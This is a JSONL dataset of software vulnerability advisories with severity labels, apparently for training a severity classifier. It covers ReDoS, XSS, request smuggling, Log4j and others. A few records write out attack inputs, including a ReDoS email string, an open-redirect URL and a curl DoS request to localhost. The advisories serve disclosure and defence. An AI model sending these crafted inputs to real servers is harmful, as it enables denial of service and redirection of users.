-{"id": "f454ec54b0c10bdd1a83", "text": "Denial of Service in uap-core when processing crafted User-Agent strings\n\n### Impact\nSome regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.\n\n### Patches\nPlease update `uap-ruby` to &gt;= v2.6.0\n\n### For more information\nhttps://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p\n\nReported in `uap-core` by Ben Caller @bcaller", "text_raw": "Denial of Service in uap-core when processing crafted User-Agent strings\n\n[Severity: HIGH]\n\n### Impact\nSome regexes are vulnerable to regular expression denial of service (REDoS) due to overlapping capture groups. This allows remote attackers to overload a server by setting the User-Agent header in an HTTP(S) request to maliciously crafted long strings.\n\n### Patches\nPlease update `uap-ruby` to &gt;= v2.6.0\n\n### For more information\nhttps://github.com/ua-parser/uap-core/security/advisories/GHSA-cmcx-xhr8-3w9p\n\nReported in `uap-core` by Ben Caller @bcaller", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-03-10", "split": "train"}
-{"id": "dd345a639749fbd30b85", "text": "Out-of-bounds write in ChakraCore\n\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0833, CVE-2020-0848.", "text_raw": "Out-of-bounds write in ChakraCore\n\n[Severity: HIGH]\n\nA remote code execution vulnerability exists in the way that the scripting engine handles objects in memory in Internet Explorer, aka 'Scripting Engine Memory Corruption Vulnerability'. This CVE ID is unique from CVE-2020-0768, CVE-2020-0823, CVE-2020-0825, CVE-2020-0826, CVE-2020-0827, CVE-2020-0828, CVE-2020-0829, CVE-2020-0830, CVE-2020-0831, CVE-2020-0833, CVE-2020-0848.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-07-28", "split": "train"}
-{"id": "655e1588afe3591361a1", "text": "Privilege escalation in spring security\n\nSpring Security 5.4.x prior to 5.4.4, 5.3.x prior to 5.3.8.RELEASE, 5.2.x prior to 5.2.9.RELEASE, and older unsupported versions can fail to save the SecurityContext if it is changed more than once in a single request.A malicious user cannot cause the bug to happen (it must be programmed in). However, if the application's intent is to only allow the user to run with elevated privileges in a small portion of the application, the bug can be leveraged to extend those privileges to the rest of the application.", "text_raw": "Privilege escalation in spring security\n\n[Severity: HIGH]\n\nSpring Security 5.4.x prior to 5.4.4, 5.3.x prior to 5.3.8.RELEASE, 5.2.x prior to 5.2.9.RELEASE, and older unsupported versions can fail to save the SecurityContext if it is changed more than once in a single request.A malicious user cannot cause the bug to happen (it must be programmed in). However, if the application's intent is to only allow the user to run with elevated privileges in a small portion of the application, the bug can be leveraged to extend those privileges to the rest of the application.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-10", "split": "train"}
-{"id": "ea935d6f852c92cac691", "text": "safemode gem allows context-dependent attackers to obtain sensitive information via the inspect method\n\nThe Safemode gem before 1.2.4 for Ruby, when initialized with a delegate object that is a Rails controller, allows context-dependent attackers to obtain sensitive information via the inspect method.", "text_raw": "safemode gem allows context-dependent attackers to obtain sensitive information via the inspect method\n\n[Severity: HIGH]\n\nThe Safemode gem before 1.2.4 for Ruby, when initialized with a delegate object that is a Rails controller, allows context-dependent attackers to obtain sensitive information via the inspect method.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2017-10-24", "split": "train"}
-{"id": "eefbbad8606915d5b0de", "text": "Information disclosure in SSB-DB\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nServers running SSB-DB 20.0.0 (which is packaged with SSB-Server 16.0.0) must upgrade immediately.\n\n**There is no evidence that other SSB apps are vulnerable or that this problem has been exploited in the wild.**\n\nThe `get()` method is supposed to only decrypt messages when you explicitly ask it to, but there's a bug where it's decrypting any message that it can. This means that it's returning the decrypted content of private messages, which a malicious peer could use to get access to private data. This only affects peers running SSB-DB@20.0.0 who also have private messages, and is only known to be exploitable if you're also running SSB-OOO (default in SSB-Server), which exposes a thin wrapper around `get()` to anonymous peers.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, please upgrade to SSB-DB 20.0.1 (or SSB-Server 16.0.1) immediately.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nYou may be able to disable the most obvious attack vector, SSB-OOO, by disabling the plugin, but you should upgrade immediately anyway.\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [SSB-DB](https://github.com/ssbc/ssb-db/)", "text_raw": "Information disclosure in SSB-DB\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\n\nServers running SSB-DB 20.0.0 (which is packaged with SSB-Server 16.0.0) must upgrade immediately.\n\n**There is no evidence that other SSB apps are vulnerable or that this problem has been exploited in the wild.**\n\nThe `get()` method is supposed to only decrypt messages when you explicitly ask it to, but there's a bug where it's decrypting any message that it can. This means that it's returning the decrypted content of private messages, which a malicious peer could use to get access to private data. This only affects peers running SSB-DB@20.0.0 who also have private messages, and is only known to be exploitable if you're also running SSB-OOO (default in SSB-Server), which exposes a thin wrapper around `get()` to anonymous peers.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\n\nYes, please upgrade to SSB-DB 20.0.1 (or SSB-Server 16.0.1) immediately.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\n\nYou may be able to disable the most obvious attack vector, SSB-OOO, by disabling the plugin, but you should upgrade immediately anyway.\n\n### For more information\n\nIf you have any questions or comments about this advisory, open an issue in [SSB-DB](https://github.com/ssbc/ssb-db/)", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2020-06-11", "split": "train"}
-{"id": "7169406af3131203dfe9", "text": "Heap OOB read in TFLite's implementation of `Minimum` or `Maximum`\n\n### Impact\nThe implementations of the `Minimum` and `Maximum` TFLite operators can be used to read data outside of bounds of heap allocated objects, if any of the two input tensor arguments are empty.\n\nThis is because [the broadcasting implementation](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/maximum_minimum.h#L52-L56) indexes in both tensors with the same index but does not validate that the index is within bounds:\n\n```cc\nauto maxmin_func = [&](int indexes[N]) {\n  output_data[SubscriptToIndex(output_desc, indexes)] =\n    op(input1_data[SubscriptToIndex(desc1, indexes)],\n        input2_data[SubscriptToIndex(desc2, indexes)]);\n};\n```\n\n### Patches\nWe have patched the issue in GitHub commit [953f28dca13c92839ba389c055587cfe6c723578](https://github.com/tensorflow/tensorflow/commit/953f28dca13c92839ba389c055587cfe6c723578).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "text_raw": "Heap OOB read in TFLite's implementation of `Minimum` or `Maximum`\n\n[Severity: LOW]\n\n### Impact\nThe implementations of the `Minimum` and `Maximum` TFLite operators can be used to read data outside of bounds of heap allocated objects, if any of the two input tensor arguments are empty.\n\nThis is because [the broadcasting implementation](https://github.com/tensorflow/tensorflow/blob/0d45ea1ca641b21b73bcf9c00e0179cda284e7e7/tensorflow/lite/kernels/internal/reference/maximum_minimum.h#L52-L56) indexes in both tensors with the same index but does not validate that the index is within bounds:\n\n```cc\nauto maxmin_func = [&](int indexes[N]) {\n  output_data[SubscriptToIndex(output_desc, indexes)] =\n    op(input1_data[SubscriptToIndex(desc1, indexes)],\n        input2_data[SubscriptToIndex(desc2, indexes)]);\n};\n```\n\n### Patches\nWe have patched the issue in GitHub commit [953f28dca13c92839ba389c055587cfe6c723578](https://github.com/tensorflow/tensorflow/commit/953f28dca13c92839ba389c055587cfe6c723578).\n\nThe fix will be included in TensorFlow 2.5.0. We will also cherrypick this commit on TensorFlow 2.4.2, TensorFlow 2.3.3, TensorFlow 2.2.3 and TensorFlow 2.1.4, as these are also affected and still in supported range.\n\n### For more information\nPlease consult [our security guide](https://github.com/tensorflow/tensorflow/blob/master/SECURITY.md) for more information regarding the security model and how to contact us with issues and questions.\n\n### Attribution\nThis vulnerability has been reported by members of the Aivul Team from Qihoo 360.", "severity": "low", "severity_label": 0, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "43b1ebd681c214d41665", "text": "HTTP Request Smuggling in goliath\n\ngoliath through 1.0.6 allows request smuggling attacks where goliath is used as a backend and a frontend proxy also being vulnerable. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TE:CL smuggling attacks.", "text_raw": "HTTP Request Smuggling in goliath\n\n[Severity: HIGH]\n\ngoliath through 1.0.6 allows request smuggling attacks where goliath is used as a backend and a frontend proxy also being vulnerable. It is possible to conduct HTTP request smuggling attacks by sending the Content-Length header twice. Furthermore, invalid Transfer Encoding headers were found to be parsed as valid which could be leveraged for TE:CL smuggling attacks.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-24", "split": "train"}
-{"id": "e0d8f93692be27898d11", "text": "Carom3D 5.06 Unicode Buffer Overrun/DoS Vulnerability", "text_raw": "Carom3D 5.06 Unicode Buffer Overrun/DoS Vulnerability\n\nSeverity: low", "severity": "low", "severity_label": 0, "source": "zeroscience", "timestamp": "2009-06-16", "split": "train"}
-{"id": "78f63fe484f3c52f6672", "text": "PG eLMS Pro vDEC_2007_01 Multiple Blind SQL Injection Vulnerabilities", "text_raw": "PG eLMS Pro vDEC_2007_01 Multiple Blind SQL Injection Vulnerabilities\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2011-07-14", "split": "train"}
-{"id": "1cf2b4dcc32a503143b8", "text": "Cross-site Scripting in CKAN\n\nIn CKAN, versions 2.9.0 to 2.9.3 are affected by a stored XSS vulnerability via SVG file upload of users’ profile picture. This allows low privileged application users to store malicious scripts in their profile picture. These scripts are executed in a victim’s browser when they open the malicious profile picture", "text_raw": "Cross-site Scripting in CKAN\n\n[Severity: MEDIUM]\n\nIn CKAN, versions 2.9.0 to 2.9.3 are affected by a stored XSS vulnerability via SVG file upload of users’ profile picture. This allows low privileged application users to store malicious scripts in their profile picture. These scripts are executed in a victim’s browser when they open the malicious profile picture", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-03", "split": "train"}
-{"id": "45027e69ed96239128ad", "text": "Cross-Site Scripting in shave\n\nVersions of `shave` prior to 2.5.3 are vulnerable to Cross-Site Scripting. The `shave` package overwrites HTML elements and in doing so fails to properly encode the output. If encoded HTML input is passed into `shave` the output will be decoded which may lead to Cross-Site Scripting.\n\n## Recommendation\n\nUpgrade to version 2.5.3 or later.", "text_raw": "Cross-Site Scripting in shave\n\n[Severity: MEDIUM]\n\nVersions of `shave` prior to 2.5.3 are vulnerable to Cross-Site Scripting. The `shave` package overwrites HTML elements and in doing so fails to properly encode the output. If encoded HTML input is passed into `shave` the output will be decoded which may lead to Cross-Site Scripting.\n\n\n## Recommendation\n\nUpgrade to version 2.5.3 or later.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-05-29", "split": "train"}
-{"id": "36bc88fe80814ff03540", "text": "yetiforcecrm is vulnerable to Cross-site Scripting\n\nyetiforcecrm is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "text_raw": "yetiforcecrm is vulnerable to Cross-site Scripting\n\n[Severity: MEDIUM]\n\nyetiforcecrm is vulnerable to Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting').", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-12-17", "split": "train"}
-{"id": "1b0e9299932f43e9e54a", "text": "Cayin Signage Media Player 3.0 Root Remote Command Injection", "text_raw": "Cayin Signage Media Player 3.0 Root Remote Command Injection\n\nSeverity: high", "severity": "high", "severity_label": 2, "source": "zeroscience", "timestamp": "2020-06-04", "split": "train"}
-{"id": "e22470fd4d897df26144", "text": "Remote code execution occurs in Apache Solr\n\nRemote code execution occurs in Apache Solr before versions 5.5.5, 6.6.2 and 7.1.0 by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr", "text_raw": "Remote code execution occurs in Apache Solr\n\n[Severity: CRITICAL]\n\nRemote code execution occurs in Apache Solr before versions 5.5.5, 6.6.2 and 7.1.0 by exploiting XXE in conjunction with use of a Config API add-listener command to reach the RunExecutableListener class. Elasticsearch, although it uses Lucene, is NOT vulnerable to this. Note that the XML external entity expansion vulnerability occurs in the XML Query Parser which is available, by default, for any query request with parameters deftype=xmlparser and can be exploited to upload malicious data to the /upload request handler or as Blind XXE using ftp wrapper in order to read arbitrary local files from the Solr server. Note also that the second vulnerability relates to remote code execution using the RunExecutableListener available on all affected versions of Solr", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2018-10-17", "split": "train"}
-{"id": "bcbcc987e52d3dbe64fb", "text": "Malicious Package in nodes.js\n\nAll versions of `nodes.js ` contain malicious code. The package searches and installs globally thousands of packages based on keywords `node`, `react`, `react-native`, `vue`, `angular` and `babel` to fill the system's memory.\n\n## Recommendation\n\nRemove the package from your environment and validate what packages are installed.", "text_raw": "Malicious Package in nodes.js\n\n[Severity: CRITICAL]\n\nAll versions of `nodes.js ` contain malicious code. The package searches and installs globally thousands of packages based on keywords `node`, `react`, `react-native`, `vue`, `angular` and `babel` to fill the system's memory.\n\n\n## Recommendation\n\nRemove the package from your environment and validate what packages are installed.", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2020-09-03", "split": "train"}
-{"id": "fb3386ba7345ffe84439", "text": "F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability\n\nAffected: F5 BIG-IP\n\nF5 BIG-IP Traffic Management User Interface (TMUI) contains a remote code execution vulnerability in undisclosed pages.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "F5 BIG-IP Traffic Management User Interface (TMUI) Remote Code Execution Vulnerability\n\nAffected: F5 BIG-IP\n\nF5 BIG-IP Traffic Management User Interface (TMUI) contains a remote code execution vulnerability in undisclosed pages.\n\nRequired Action: Apply updates per vendor instructions.\n\nRansomware: Known\n\nCWE(s): CWE-22\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-11-03", "split": "train"}
-{"id": "55e5fa234dcc324a0285", "text": "Remote code injection in Log4j (through pax-logging-log4j2)\n\n### Impact\nRemote Code Execution.\n\n### Patches\nUsers of pax-logging 1.11.9 should update to 1.11.10.\nUsers of pax-logging 2.0.10 should update to 2.0.11.\n\n### Workarounds\nSet system property `-Dlog4j2.formatMsgNoLookups=true`\n\n### References\nhttps://github.com/advisories/GHSA-jfh8-c2jp-5v3q", "text_raw": "Remote code injection in Log4j (through pax-logging-log4j2)\n\n[Severity: CRITICAL]\n\n### Impact\nRemote Code Execution.\n\n### Patches\nUsers of pax-logging 1.11.9 should update to 1.11.10.\nUsers of pax-logging 2.0.10 should update to 2.0.11.\n\n### Workarounds\nSet system property `-Dlog4j2.formatMsgNoLookups=true`\n\n### References\nhttps://github.com/advisories/GHSA-jfh8-c2jp-5v3q\n\n", "severity": "critical", "severity_label": 3, "source": "github_advisory", "timestamp": "2021-12-10", "split": "train"}
-{"id": "fac9340f07847dd24b6e", "text": "DOS and Open Redirect with user input\n\n### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//a//youtube.com/%2e%2e%2f%2e%2e`.\n\nA DOS vulnerability is possible if the URL contains invalid characters `curl --path-as-is \"http://localhost:3000//^/..\"`\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.4.1`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1361804)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)", "text_raw": "DOS and Open Redirect with user input\n\n[Severity: HIGH]\n\n### Impact\n\nA redirect vulnerability in the `fastify-static` module allows remote attackers to redirect Mozilla Firefox users to arbitrary websites via a double slash `//` followed by a domain: `http://localhost:3000//a//youtube.com/%2e%2e%2f%2e%2e`.\n\nA DOS vulnerability is possible if the URL contains invalid characters `curl --path-as-is \"http://localhost:3000//^/..\"`\n\nThe issue shows up on all the `fastify-static` applications that set `redirect: true` option. By default, it is `false`.\n\n### Patches\nThe issue has been patched in `fastify-static@4.4.1`\n\n### Workarounds\nIf updating is not an option, you can sanitize the input URLs using the [`rewriteUrl`](https://www.fastify.io/docs/latest/Server/#rewriteurl) server option.\n\n### References\n\n+ Bug founder: drstrnegth\n+ [hackerone Report](https://hackerone.com/reports/1361804)\n\n### For more information\nIf you have any questions or comments about this advisory:\n* Open an issue in [fastify-static](https://github.com/fastify/fastify-static)\n* Contact the [security team](https://github.com/fastify/fastify/blob/main/SECURITY.md#the-fastify-security-team)\n", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-10-12", "split": "train"}
-{"id": "ee1d53d375dbc055b7a6", "text": "Incorrect handling of credential expiry by /nats-io/nats-server\n\n(This advisory is canonically https://advisories.nats.io/CVE/CVE-2020-26892.txt )\n\n## Problem Description\n\nNATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.\n\nThe NATS accounts system has expiration timestamps on credentials; the <https://github.com/nats-io/jwt> library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.\n\nA new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this.  The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.\n\nThe CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.\n\n## Affected versions\n\n#### JWT library\n\n* all versions prior to 1.1.0\n * fixed after nats-io/jwt PR 103 landed (2020-10-06)\n\n#### NATS Server\n\n* Version 2 prior to 2.1.9\n   + 2.0.0 through and including 2.1.8 are vulnerable.\n * fixed with nats-io/nats-server PRs 1632, 1635, 1645\n\n## Impact\n\nTime-based credential expiry did not work.\n\n## Workaround\n\nHave credentials which only expire after fixes can be deployed.\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.", "text_raw": "Incorrect handling of credential expiry by /nats-io/nats-server\n\n[Severity: HIGH]\n\n(This advisory is canonically https://advisories.nats.io/CVE/CVE-2020-26892.txt )\n\n## Problem Description\n\nNATS nats-server through 2020-10-07 has Incorrect Access Control because of how expired credentials are handled.\n\nThe NATS accounts system has expiration timestamps on credentials; the <https://github.com/nats-io/jwt> library had an API which encouraged misuse and an `IsRevoked()` method which misused its own API.\n\nA new `IsClaimRevoked()` method has correct handling and the nats-server has been updated to use this.  The old `IsRevoked()` method now always returns true and other client code will have to be updated to avoid calling it.\n\nThe CVE identifier should cover any application using the old JWT API, where the nats-server is one of those applications.\n\n\n## Affected versions\n\n#### JWT library\n\n * all versions prior to 1.1.0\n * fixed after nats-io/jwt PR 103 landed (2020-10-06)\n\n#### NATS Server\n\n * Version 2 prior to 2.1.9\n   + 2.0.0 through and including 2.1.8 are vulnerable.\n * fixed with nats-io/nats-server PRs 1632, 1635, 1645\n\n\n## Impact\n\nTime-based credential expiry did not work.\n\n\n## Workaround\n\nHave credentials which only expire after fixes can be deployed.\n\n\n## Solution\n\nUpgrade the JWT dependency in any application using it.\n\nUpgrade the NATS server if using NATS Accounts.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-05-21", "split": "train"}
-{"id": "241fac64839c904434b2", "text": "JavaScript execution via malicious molfiles (XSS)\n\n### Impact\nThe viewer plugin implementation of `<mol:molecule>` renders molfile data directly inside a `<script>` tag without any escaping. Arbitrary JavaScript code can thus be executed in the client browser via crafted molfiles.\n\n### Patches\nPatched in v0.3.0: Molfile data is now rendered as value of a hidden `<input>` tag and escaped via JSF's mechanisms.\n\n### Workarounds\nNo workaround available.", "text_raw": "JavaScript execution via malicious molfiles (XSS)\n\n[Severity: MEDIUM]\n\n### Impact\nThe viewer plugin implementation of `<mol:molecule>` renders molfile data directly inside a `<script>` tag without any escaping. Arbitrary JavaScript code can thus be executed in the client browser via crafted molfiles.\n\n### Patches\nPatched in v0.3.0: Molfile data is now rendered as value of a hidden `<input>` tag and escaped via JSF's mechanisms.\n\n### Workarounds\nNo workaround available.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2021-04-16", "split": "train"}
-{"id": "0a373e9b225169900f35", "text": "Dasan Networks GPON ONT WiFi Router H64X Series Privilege Escalation", "text_raw": "Dasan Networks GPON ONT WiFi Router H64X Series Privilege Escalation\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2017-07-12", "split": "train"}
-{"id": "312e4ab07c9a26e9b368", "text": "Regular Expression Denial-of-Service in npm schema-inspector\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nEmail address validation is vulnerable to a denial-of-service attack where some input (for example `a@0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.`) will freeze the program or web browser page executing the code. This affects any current schema-inspector users using any version to validate email addresses. Users who do not do email validation, and instead do other types of validation (like string min or max length, etc), are not affected.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nUsers should upgrade to version 2.0.0, which uses a regex expression that isn't vulnerable to ReDoS. The new regex expression is more limited in what it can check, so it is more flexible than the one used before. Therefore, this was a new major version instead of a new patch version to warn people upgrading that they should make sure the email validation still works for their use case.\n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nIf a user chooses to not upgrade, the only known workaround would be to stop using the email validation feature in the library. The user could, for example, accept the email address into their system but save it in a \"not yet validated\" state in their system until a verification email is sent to it (to determine whether the email is valid and belongs to the form submitter). Note that this is the preferred way of validating email addresses anyways.\n\n### References\n_Are there any links users can visit to find out more?_\nhttps://gist.github.com/mattwelke/b7f42424680a57b8161794ad1737cd8f\n\n### For more information\nIf you have any questions or comments about this advisory, you can create an issue in this repository.", "text_raw": "Regular Expression Denial-of-Service in npm schema-inspector\n\n[Severity: HIGH]\n\n### Impact\n_What kind of vulnerability is it? Who is impacted?_\nEmail address validation is vulnerable to a denial-of-service attack where some input (for example `a@0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.0.`) will freeze the program or web browser page executing the code. This affects any current schema-inspector users using any version to validate email addresses. Users who do not do email validation, and instead do other types of validation (like string min or max length, etc), are not affected.\n\n### Patches\n_Has the problem been patched? What versions should users upgrade to?_\nUsers should upgrade to version 2.0.0, which uses a regex expression that isn't vulnerable to ReDoS. The new regex expression is more limited in what it can check, so it is more flexible than the one used before. Therefore, this was a new major version instead of a new patch version to warn people upgrading that they should make sure the email validation still works for their use case. \n\n### Workarounds\n_Is there a way for users to fix or remediate the vulnerability without upgrading?_\nIf a user chooses to not upgrade, the only known workaround would be to stop using the email validation feature in the library. The user could, for example, accept the email address into their system but save it in a \"not yet validated\" state in their system until a verification email is sent to it (to determine whether the email is valid and belongs to the form submitter). Note that this is the preferred way of validating email addresses anyways.\n\n### References\n_Are there any links users can visit to find out more?_\nhttps://gist.github.com/mattwelke/b7f42424680a57b8161794ad1737cd8f\n\n### For more information\nIf you have any questions or comments about this advisory, you can create an issue in this repository.", "severity": "high", "severity_label": 2, "source": "github_advisory", "timestamp": "2021-03-19", "split": "train"}
-{"id": "77fd976ba5e86fc8b3e7", "text": "Bootstrap Cross-site Scripting vulnerability\n\nIn Bootstrap 2.x from 2.0.4, 3.x before 3.4.0 and 4.x-beta before 4.0.0-beta.2, XSS is possible in the data-target attribute. Note that this is a different vulnerability than CVE-2018-14041.\n\nSee https://blog.getbootstrap.com/2018/12/13/bootstrap-3-4-0/ for more info.", "text_raw": "Bootstrap Cross-site Scripting vulnerability\n\n[Severity: MEDIUM]\n\nIn Bootstrap 2.x from 2.0.4, 3.x before 3.4.0 and 4.x-beta before 4.0.0-beta.2, XSS is possible in the data-target attribute. Note that this is a different vulnerability than CVE-2018-14041.\n\nSee https://blog.getbootstrap.com/2018/12/13/bootstrap-3-4-0/ for more info.", "severity": "medium", "severity_label": 1, "source": "github_advisory", "timestamp": "2019-01-17", "split": "train"}
-{"id": "73a0c04e23bc6309ad54", "text": "u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability", "text_raw": "u5CMS 3.9.3 (deletefile.php) Arbitrary File Deletion Vulnerability\n\nSeverity: medium", "severity": "medium", "severity_label": 1, "source": "zeroscience", "timestamp": "2015-02-09", "split": "train"}
-{"id": "4fd9cc5f54cee953eb8b", "text": "Qualcomm Multiple Chipsets Improper Input Validation Vulnerability\n\nAffected: Qualcomm Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables\n\nMemory corruption due to improper check to return error when user application requests memory allocation of a huge size in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "text_raw": "Qualcomm Multiple Chipsets Improper Input Validation Vulnerability\n\nAffected: Qualcomm Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables\n\nMemory corruption due to improper check to return error when user application requests memory allocation of a huge size in Snapdragon Auto, Snapdragon Compute, Snapdragon Connectivity, Snapdragon Consumer IOT, Snapdragon Industrial IOT, Snapdragon Mobile, Snapdragon Voice & Music, Snapdragon Wearables\n\nRequired Action: Apply updates per vendor instructions.\n\nCWE(s): CWE-20\n\n[Source: CISA Known Exploited Vulnerabilities Catalog]", "severity": "critical", "severity_label": 3, "source": "cisa_kev", "timestamp": "2021-12-01", "split": "train"}
-{"id": "ab3a2ef300f5d8ee808e", "text": "Reset Password / Login vulnerability in Sulu\n\n### Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability consists of a few related issues:\n\n#### Forget password leaks information if the user exists\n\nWhen the \"Forget password\" feature on the login screen is used, Sulu asks the user for a username or email address. If the given string is not found, a response with a `400` error code is returned, along with a error message saying that this user name does not exist:\n\n```json\n{\n    \"code\": 0,\n    \"message\": \"Entity with the type \\u0022Sulu\\\\Bundle\\\\SecurityBundle\\\\Entity\\\\User\\u0022 and the id \\u0022asdf\\u0022 not found.\"\n}\n```\n\nThis enables attackers to retrieve valid usernames.\n\n#### Forgot password leaks user email if user exists\n\nThe response of the \"Forgot Password\" request returns the email address to which the email was sent, if the operation was successful:\n\n```json\n{\"email\":\"admin@localhost.local\"}\n```\n\nThis information should not be exposed, as it can be used to gather email addresses.\n\n#### Response time of login gives hint if the username exists\n\nIf the username the user enters in the login screen does not exists, the request responds much faster than if the username exists. This again allows attackers to retrieve valid usernames.\n\n#### Reset Token for Forgot Password feature is not hashed\n\nThe reset token in the user database table is not hashed. That means that somebody could try to request a new password using the Forgot Password feature, and look that up in the database, if the attacker somehow got access to the database. Hashing the reset token would fix that problem.\n\n### Patches\n\nThis problem was fixed in Release 1.6.34, 2.0.10 and 2.1.1.\n\n### Workarounds\n\nOverride the files manually in your project and change them accordingly.", "text_raw": "Reset Password / Login vulnerability in Sulu\n\n[Severity: MEDIUM]\n\n### Impact\n\n_What kind of vulnerability is it? Who is impacted?_\n\nThis vulnerability consists of a few related issues:\n\n#### Forget password leaks information if the user exists\n\nWhen the \"Forget password\" feature on the login screen is used, Sulu asks the user for a username or email address. If the given string is not found, a response with a `400` error code is returned, along with a error message saying that this user name does not exist:\n\n```json\n{\n    \"code\": 0,\n    \"message\": \"Entity with the type \\u0022Sulu\\\\Bundle\\\\SecurityBundle\\\\Entity\\\\User\\u0022 and the id \\u0022asdf\\u0022 not found.\"\n}\n```\n\nThis enables attackers to retrieve valid usernames.\n\n#### Forgot password leaks user email if user exists\n\nThe response of the \"Forgot Password\" request returns the email address to which the email was sent, if the operation was 